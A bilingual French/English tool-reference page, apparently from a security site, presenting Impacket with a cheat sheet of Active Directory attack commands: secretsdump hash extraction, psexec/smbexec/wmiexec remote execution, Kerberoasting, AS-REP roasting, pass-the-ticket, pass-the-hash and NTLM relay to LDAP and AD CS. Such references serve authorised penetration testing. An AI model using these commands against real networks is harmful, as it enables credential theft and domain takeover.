retour aux outils back to tools Ducklings

Impacket

Collection de classes et scripts Python pour interagir avec les protocoles réseau Windows : GetUserSPNs, secretsdump, psexec, et plus. Collection of Python classes and scripts for interacting with Windows network protocols — GetUserSPNs, secretsdump, psexec, and more.

↗ https://github.com/fortra/impacket

Overview

Impacket is a collection of Python libraries and example scripts for interacting with Windows network protocols (SMB, MSRPC, LDAP, Kerberos, MSSQL, etc.). It forms the backbone of many AD attack tools.

Key Scripts

Credential Dumping

# Dump hashes from DC (requires DA or backup operator)
secretsdump.py domain.local/admin:'Password'@dc01.domain.local
secretsdump.py -hashes :ntlm_hash domain.local/admin@dc01.domain.local

Dump from local SAM (local admin)

secretsdump.py local/admin:'Password'@10.10.10.1

Remote Execution

PSExec — drops a service binary

psexec.py domain.local/admin:'Password'@10.10.10.1

SMBExec — uses existing SMB service (stealthier)

smbexec.py domain.local/admin:'Password'@10.10.10.1

WMIExec — via WMI (no binary dropped)

wmiexec.py domain.local/admin:'Password'@10.10.10.1

Kerberos

Kerberoasting

GetUserSPNs.py domain.local/user:'Pass' -dc-ip 10.10.10.1 -request -outputfile tgs.txt

AS-REP Roasting

GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.1

Request TGT

getTGT.py domain.local/user:'Pass'

# Pass-the-Ticket
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass domain.local/admin@dc01.domain.local

NTLM Relay

# Relay attacks
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp --adcs --template DomainController

Help / Man page

Common Impacket scripts (all support -h for full help):

CREDENTIAL DUMPING:
  secretsdump.py     domain/user:pass@target
    -just-dc-user    Dump specific user only
    -ntds            Path to NTDS.dit
    -system          Path to SYSTEM hive

EXECUTION:
  psexec.py          domain/user:pass@target [command]
  smbexec.py         domain/user:pass@target
  wmiexec.py         domain/user:pass@target [command]
  dcomexec.py        domain/user:pass@target

KERBEROS:
  GetUserSPNs.py     domain/user:pass -dc-ip IP [-request]
  GetNPUsers.py      domain/ -no-pass -usersfile FILE -dc-ip IP
  getTGT.py          domain/user:pass
  getST.py           domain/user:pass -spn cifs/target -impersonate admin

RELAY:
  ntlmrelayx.py      -tf targets.txt -smb2support
    -c CMD            Execute command on relay
    -e FILE           Upload and execute file
    --delegate-access RBCD attack
    --adcs            Relay to AD CS

AUTHENTICATION:
  -hashes LMHASH:NTHASH    Pass-the-Hash
  -aesKey KEY              AES Kerberos key
  -k                       Use Kerberos (ccache)
  -no-pass                 No password

Vue d’ensemble

Impacket est une collection de bibliothèques Python et de scripts pour interagir avec les protocoles réseau Windows (SMB, MSRPC, LDAP, Kerberos, MSSQL, etc.). Il constitue la base de nombreux outils d’attaque AD.

Scripts clés

Extraction de credentials

# Extraire les hachages du DC (nécessite DA ou opérateur de sauvegarde)
secretsdump.py domain.local/admin:'Password'@dc01.domain.local
secretsdump.py -hashes :ntlm_hash domain.local/admin@dc01.domain.local

# Extraire depuis le SAM local (admin local)
secretsdump.py local/admin:'Password'@10.10.10.1

Exécution à distance

# PSExec : dépose un binaire de service
psexec.py domain.local/admin:'Password'@10.10.10.1

# SMBExec : utilise le service SMB existant (plus furtif)
smbexec.py domain.local/admin:'Password'@10.10.10.1

# WMIExec : via WMI (aucun binaire déposé)
wmiexec.py domain.local/admin:'Password'@10.10.10.1

Kerberos

# Kerberoasting
GetUserSPNs.py domain.local/user:'Pass' -dc-ip 10.10.10.1 -request -outputfile tgs.txt

# AS-REP Roasting
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.1

# Demander un TGT
getTGT.py domain.local/user:'Pass'

# Pass-the-Ticket
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass domain.local/admin@dc01.domain.local

Relay NTLM

# Attaques de relay
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp --adcs --template DomainController

Aide / Page de manuel

Common Impacket scripts (all support -h for full help):

CREDENTIAL DUMPING:
  secretsdump.py     domain/user:pass@target
    -just-dc-user    Dump specific user only
    -ntds            Path to NTDS.dit
    -system          Path to SYSTEM hive

EXECUTION:
  psexec.py          domain/user:pass@target [command]
  smbexec.py         domain/user:pass@target
  wmiexec.py         domain/user:pass@target [command]
  dcomexec.py        domain/user:pass@target

KERBEROS:
  GetUserSPNs.py     domain/user:pass -dc-ip IP [-request]
  GetNPUsers.py      domain/ -no-pass -usersfile FILE -dc-ip IP
  getTGT.py          domain/user:pass
  getST.py           domain/user:pass -spn cifs/target -impersonate admin

RELAY:
  ntlmrelayx.py      -tf targets.txt -smb2support
    -c CMD            Execute command on relay
    -e FILE           Upload and execute file
    --delegate-access RBCD attack
    --adcs            Relay to AD CS

AUTHENTICATION:
  -hashes LMHASH:NTHASH    Pass-the-Hash
  -aesKey KEY              AES Kerberos key
  -k                       Use Kerberos (ccache)
  -no-pass                 No password